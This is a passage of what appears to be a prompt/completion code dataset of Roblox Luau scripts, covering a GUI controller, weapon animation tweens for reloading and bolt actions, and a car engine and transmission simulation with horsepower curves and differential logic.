function is called instead.\n]]", "completion": "\nfunction GuiController:showGuis()\n\tif self.showOtherGuis and self.showOtherGuis.isCallbackSet() then\n\t\tself.showOtherGuis.fireCallback()\n\t\treturn\n\tend\n\n\t-- Show ScreenGuis that were hidden by `hideGuis`\n\tfor _, gui in ipairs(self.disabledGuis) do\n\t\tgui.Enabled = true\n\tend\n\tself.disabledGuis = {}\n\n\t-- Show CoreGuis that were hidden by `hideGuis`\n\tfor _, gui in ipairs(self.disabledCoreGuis) do\n\t\tself.StarterGui:SetCoreGuiEnabled(gui, true)\n\tend\n\tself.disabledCoreGuis = {}\n\n\t-- Set the visibility of mobile controls to what they were before\n\t-- `hideGuis` was called\n\tself.UserInputService.ModalEnabled = self.modalEnabled\nend\n"} +{"prompt": "--// Animations", "completion": "\n\t\n\t-- Idle Anim\n\tIdleAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\tTweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.18)\t\n\tend;\n\t\n\t-- FireMode Anim\n\tFireModeAnim = function(char, speed, objs)\n\t\tTweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.1)\n\t\tTweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\twait(0.25)\n\t\tobjs[4]:WaitForChild(\"Click\"):Play()\t\t\n\tend;\n\t\n\t-- Reload Anim\n\tReloadAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.2)\t\t\n\t\t\t\n\t\t\tlocal MagC = objs[4]:clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)\n\t\t\tobjs[4].Transparency = 1\n\t\t\t\n\t\t\tobjs[6]:WaitForChild(\"MagOut\"):Play()\t\t\n\t\t\t\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866193, -1.15439999, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\twait(0.1)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-1.83314121, 0.112866193, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.157115281, -0.344846308, 0.925416529, -0.633021891, -0.75440675, -0.173648208)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.5),{C1 = CFrame.new(-2.63354445, 0.365644455, -0.92290014, -0.0482801795, -0.826441228, 0.560948968, 0.376857162, 0.505025029, 0.776484549, -0.925012231, 0.248886406, 0.287067622)}):Play()\n\t\t\twait(0.25)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-1.98033559, 0.365644455, -1.12859631, -0.281058222, -0.892398655, -0.353031129, -0.101086289, -0.338284373, 0.935598731, -0.954351902, 0.298644274, 0.00486823916)}):Play()\n\t\t\twait(0.10)\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.970892727, 0.365644425, -3.30391622, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.10)\n\t\t\tobjs[6]:WaitForChild('MagIn'):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(-0.570892751, 0.765644431, -2.10391617, 0.545084536, -0.836516321, 0.0558858961, -0.482962906, -0.258818835, 0.836516321, -0.685295284, -0.482962966, -0.545084476)}):Play()\n\t\t\twait(0.10)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.13),{C1 = CFrame.new(-1.83314121, 0.112866186, -0.954399943, 0.758022368, -0.558526218, -0.336824089, 0.0448053852, -0.470608532, 0.881203771, -0.650687635, -0.683063805, -0.331706822)}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.13),{C1 = CFrame.new(-0.543338716, 0.753075361, -2.10391617, 0.491499543, -0.870869577, -0.00377259403, -0.594625771, -0.338752329, 0.729154944, -0.63627702, -0.356136084, -0.684338093)}):Play()\n\t\t\twait(0.1)\n\t\t\tMagC:Destroy()\n\t\t\tobjs[4].Transparency = 0\n\t\tend;\n\n\t-- Bolt Anim\n\t\tBoltBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.530990303, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.45)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(2.1115706, -0.937148452, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.5)\n\t\t\tobjs[5]:WaitForChild(\"BoltBack\"):Play()\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(1.00409043, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.817838132, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.854931653, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tBoltForwardAnim = function(char, speed, objs)\n\t\t\tobjs[5]:WaitForChild(\"BoltForward\"):Play()\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.299306631, -1.18411899, -1.32660568, 0.803367436, 0.238225982, 0.545755446, -0.118667498, -0.834062338, 0.538755715, 0.583539844, -0.497582287, -0.641788721), function(X) return math.sin(math.rad(X)) end, 0.1)\n\t\t\tTweenJoint(objs[3], nil , CFrame.new(-0.833141267, -0.291854143, -1.55439997, 0.642787576, 3.34848629e-08, -0.766044378, 0.766044378, -2.80971371e-08, 0.642787576, 0, -1, -4.37113883e-08), function(X) return math.sin(math.rad(X)) end, 0.2)\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\t-- Bolting Back\n\t\tBoltingBackAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tBoltingForwardAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)\n\t\tend;\n\t\t\n\t\tInspectAnim = function(char, speed, objs)\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()\n\t\t\twait(1)\n\t\t\tts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\n\t\t\twait(1)\n\t\t\tlocal MagC = Tool:WaitForChild(\"Mag\"):clone()\n\t\t\tMagC:FindFirstChild(\"Mag\"):Destroy()\n\t\t\tMagC.Parent = Tool\n\t\t\tMagC.Name = \"MagC\"\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\tMagCW.Part0 = MagC\n\t\t\tMagCW.Part1 = workspace.CurrentCamera:WaitForChild(\"Arms\"):WaitForChild(\"Left Arm\")\n\t\t\tMagCW.Parent = MagC\n\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)\n\t\t\tTool.Mag.Transparency = 1\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.13)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()\n\t\t\twait(0.20)\t\t\t\n\t\t\tts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()\n\t\t\twait(0.8)\n\t\t\tts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()\n\t\t\twait(0.5)\n\t\t\tTool:WaitForChild('Grip'):WaitForChild(\"MagIn\"):Play()\n\t\t\tts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()\t\t\t\n\t\t\twait(0.3)\n\t\t\tMagC:Destroy()\n\t\t\tTool.Mag.Transparency = 0\n\t\t\twait(0.1)\n\t\tend;\n\t\t\n\t\tnadeReload = function(char, speed, objs)\n\t\t\tts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()\n\t\t\twait(0.6)\n\t\t\tts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()\n\t\t\twait(0.6)\t\t\n\t\tend;\n\t\t\n\t\tAttachAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\t\n\t\tend;\n\t\t\n\t\t-- Patrol Anim\n\t\tPatrolAnim = function(char, speed, objs)\n\t\t\tTweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\tTweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)\n\t\t\twait(0.18)\n\t\tend;\n\t\n\t}\n\nreturn Settings\n"} +{"prompt": "--[[Engine]]", "completion": "\n\n\tlocal fFD = _Tune.FinalDrive*_Tune.FDMult\n\tlocal fFDr = fFD*30/math.pi\n\tlocal cGrav = workspace.Gravity*_Tune.InclineComp/32.2\n\tlocal wDRatio = wDia*math.pi/60\n\tlocal cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)\n\tlocal cfYRot = CFrame.Angles(0,math.pi,0)\n\tlocal rtTwo = (2^.5)/2\n\t\n\tif _Tune.Aspiration == \"Single\" then\n\t\t_TCount = 1\n\t\t_TPsi = _Tune.Boost\n\telseif _Tune.Aspiration == \"Double\" then\n\t\t_TCount = 2\n\t\t_TPsi = _Tune.Boost*2\n\tend\n\n\t--Horsepower Curve\n\t\n\t\n\tlocal HP=_Tune.Horsepower/100\n\tlocal HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100\n\tlocal Peak=_Tune.PeakRPM/1000\n\tlocal Sharpness=_Tune.PeakSharpness\n\tlocal CurveMult=_Tune.CurveMult\n\tlocal EQ=_Tune.EqPoint/1000\n\t\n\t--Horsepower Curve\n\t\n\tfunction curveHP(RPM)\n\t\tRPM=RPM/1000\n\t\treturn ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))\n\tend\n\t\n\tlocal PeakCurveHP = curveHP(_Tune.PeakRPM)\n\t\n\tfunction curvePSI(RPM)\n\t\tRPM=RPM/1000\n\t\treturn ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))\n\tend\n\tlocal PeakCurvePSI = curvePSI(_Tune.PeakRPM)\n\t\n\t--Plot Current Horsepower\n\tfunction GetCurve(x,gear)\n\t\tlocal hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100\n\t\treturn hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000\n\tend\n\t\n\t--Plot Current Boost (addition to Horsepower)\n\tfunction GetPsiCurve(x,gear)\n\t\tlocal hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100\n\t\treturn hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000\n\tend\t\n\t\n\t--Output Cache\t\n\tlocal HPCache = {}\n\tlocal PSICache = {}\n\t\n\tif _Tune.CurveCache then\n\t\tfor gear,ratio in pairs(_Tune.Ratios) do\n\t\t\tlocal nhpPlot = {}\n\t\t\tlocal bhpPlot = {}\n\t\t\tfor rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do\n\t\t\t\tlocal ntqPlot = {}\n\t\t\t\tlocal btqPlot = {}\n\t\t\t\tntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*_Tune.CacheInc,gear-2)\n\t\t\t\tbtqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*_Tune.CacheInc,gear-2)\n\t\t\t\thp1,tq1 = GetCurve((rpm+1)*_Tune.CacheInc,gear-2)\n\t\t\t\thp2,tq2 = GetPsiCurve((rpm+1)*_Tune.CacheInc,gear-2)\n\t\t\t\tntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)\n\t\t\t\tbtqPlot.HpSlope = (hp2 - btqPlot.Horsepower)\n\t\t\t\tntqPlot.TqSlope = (tq1 - ntqPlot.Torque)\n\t\t\t\tbtqPlot.TqSlope = (tq2 - btqPlot.Torque)\n\t\t\t\tnhpPlot[rpm] = ntqPlot\n\t\t\t\tbhpPlot[rpm] = btqPlot\n\t\t\tend\n\t\t\ttable.insert(HPCache,nhpPlot)\n\t\t\ttable.insert(PSICache,bhpPlot)\n\t\tend\n\tend\n\t\n\t\n\tif _Tune.CurveCache then\n\t\tfor gear,ratio in pairs(_Tune.Ratios) do\n\t\t\tfor rpm = math.floor(_Tune.IdleRPM/_Tune.CacheInc),math.ceil((_Tune.Redline+100)/_Tune.CacheInc) do\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Powertrain\n\twait()\n\n\t--Update RPM\n\tfunction RPM()\n\t\t--Neutral Gear\n\t\tif _CGear==0 then _ClutchOn = false end\n\t\n\t\t--Car Is Off\n\t\tlocal revMin = _Tune.IdleRPM\n\t\tif not _IsOn then \n\t\t\trevMin = 0 \n\t\t\t_CGear = 0\n\t\t\t_ClutchOn = false\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\tend\n\t\t\n\t\t--Determine RPM\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do\n\t\t\tif v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end\n\t\tend\n\t\tif _ClutchOn then\n\t\t\tlocal aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)\n\t\t\tlocal clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)\n\t\t\t_RPM = _RPM*clutchP + aRPM*(1-clutchP)\n\t\telse\n\t\t\tif _GThrot-(_Tune.IdleThrottle/100)>0 then\n\t\t\t\tif _RPM>_Tune.Redline then\n\t\t\t\t\t_RPM = _RPM-_Tune.RevBounce*2\n\t\t\t\telse\n\t\t\t\t\t_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_RPM = math.max(_RPM-_Tune.RevDecay,revMin)\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Rev Limiter\n\t\t_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])\n\t\tif _RPM>_Tune.Redline then \n\t\t\tif _CGear<#_Tune.Ratios-2 then\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce\n\t\t\telse\n\t\t\t\t_RPM = _RPM-_Tune.RevBounce*.5\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal TPsi = _TPsi/_TCount\n\t\tif _CGear==0 then \n\t\t\t_Boost = _Boost + ((((((_RPM*(_GThrot*1.2)/_Tune.Redline)/8.5)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)\n\t\telse\n\t\t\t_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)\n\t\tend\n\t\tif _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end\n\tend\n\t\n\t--Automatic Transmission\n\tfunction Auto()\n\t\tlocal maxSpin=0\n\t\tfor i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end\n\t\tif _IsOn then\n\t\t\t_ClutchOn = true\n\t\t\tif _CGear == 0 then _CGear = 1 end\n\t\t\tif _CGear >= 1 then\n\t\t\t\tif _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = -1\n\t\t\t\telse\n\t\t\t\t\tif _Tune.AutoShiftMode == \"RPM\" then\n\t\t\t\t\t\tif _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then\n\t\t\t\t\t\t\tif (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then\n\t\t\t\t\t\t\t\t_GThrotShift = 0\n\t\t\t\t\t\t\t\twait(_Tune.ShiftTime)\n\t\t\t\t\t\t\t\t_GThrotShift = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2) \n\t\t\t\t\t\telseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then\n\t\t\t\t\t\t\tif _CGear ~= 1 then\n\t\t\t\t\t\t\t\t_GThrotShift = 0\n\t\t\t\t\t\t\t\twait(_Tune.ShiftTime/2)\n\t\t\t\t\t\t\t\t_GThrotShift = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then\n\t\t\t\t\t\t\tif (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then\n\t\t\t\t\t\t\t\t_GThrotShift = 0\n\t\t\t\t\t\t\t\twait(_Tune.ShiftTime)\n\t\t\t\t\t\t\t\t_GThrotShift = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t_CGear=math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\t\telseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then\n\t\t\t\t\t\t\tif _CGear ~= 1 then\n\t\t\t\t\t\t\t\t_GThrotShift = 0\n\t\t\t\t\t\t\t\twait(_Tune.ShiftTime/2)\n\t\t\t\t\t\t\t\t_GThrotShift = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t_CGear=math.max(_CGear-1,1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then\n\t\t\t\t\t_CGear = 1\n\t\t\t\tend\n\t\t\tend\n\t\tend \n\tend\n\t\n\tlocal tqTCS = 1\n\t--Apply Power\n\tfunction Engine()\n\t\tif _ClutchOn then\n\t\t\tif _Tune.CurveCache then\n\t\t\t\tlocal cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)]\n\t\t\t\t_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)\n\t\t\t\t_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)\n\t\t\telse\n\t\t\t\t_NH,_NT = GetCurve(_RPM,_CGear)\n\t\t\tend\n\t\t\tif _Tune.Aspiration ~= \"Natural\" then\n\t\t\t\tif _Tune.CurveCache then\n\t\t\t\t\tlocal bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheInc)]\n\t\t\t\t\t_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)\n\t\t\t\t\t_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/_Tune.CacheInc))/1000)%1)\n\t\t\t\telse \n\t\t\t\t\t_BH,_BT = GetPsiCurve(_RPM,_CGear)\n\t\t\t\tend\n\t\t\t\t_HP = _NH + (_BH*(_Boost/2))\n\t\t\t\t_OutTorque = _NT + (_BT*(_Boost/2))\n\t\t\telse\n\t\t\t\t_HP = _NH\n\t\t\t\t_OutTorque = _NT\n\t\t\tend\n\t\t\t\n\t\t\tlocal iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav\n\t\t\tif _CGear==-1 then iComp=-iComp end\n\t\t\t_OutTorque = _OutTorque*math.max(1,(1+iComp))\n\t\telse\n\t\t\t_HP,_NH,_BH,_OutTorque,_NT,_BT = 0,0,0,0,0,0\n\t\tend\n\t\t\n\t\tlocal TPsi = _TPsi/_TCount\n\t\t\n\t\tif _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end\n\t\t\n\t\t--Average Rotational Speed Calculation\n\t\tlocal fwspeed=0\n\t\tlocal fwcount=0\n\t\tlocal rwspeed=0\n\t\tlocal rwcount=0\n\t\t\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name == \"F\" then\n\t\t\t\tfwspeed=fwspeed+v.RotVelocity.Magnitude\n\t\t\t\tfwcount=fwcount+1\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" or v.Name == \"R\" then\n\t\t\t\trwspeed=rwspeed+v.RotVelocity.Magnitude\n\t\t\t\trwcount=rwcount+1\n\t\t\tend\n\t\tend\n\t\tfwspeed=fwspeed/fwcount\n\t\trwspeed=rwspeed/rwcount\t\n\t\tlocal cwspeed=(fwspeed+rwspeed)/2\n\t\t\n\t\t--Update Wheels\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t--Reference Wheel Orientation\n\t\t\tlocal Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector\n\t\t\tlocal aRef=1\n\t\t\tlocal diffMult=1\n\t\t\tif v.Name==\"FL\" or v.Name==\"RL\" then aRef=-1 end\n\t\t\t\n\t\t\t--AWD Torque Scaling\n\t\t\tif _Tune.Config == \"AWD\" then _OutTorque = _OutTorque*rtTwo end\n\t\t\t\n\t\t\t--Differential/Torque-Vectoring\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\telseif v.Name==\"RL\" or v.Name==\"RR\" then\n\t\t\t\tdiffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))\n\t\t\t\tif _Tune.Config == \"AWD\" then\n\t\t\t\t\tdiffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t_TCSActive = false\n\t\t\t_ABSActive = 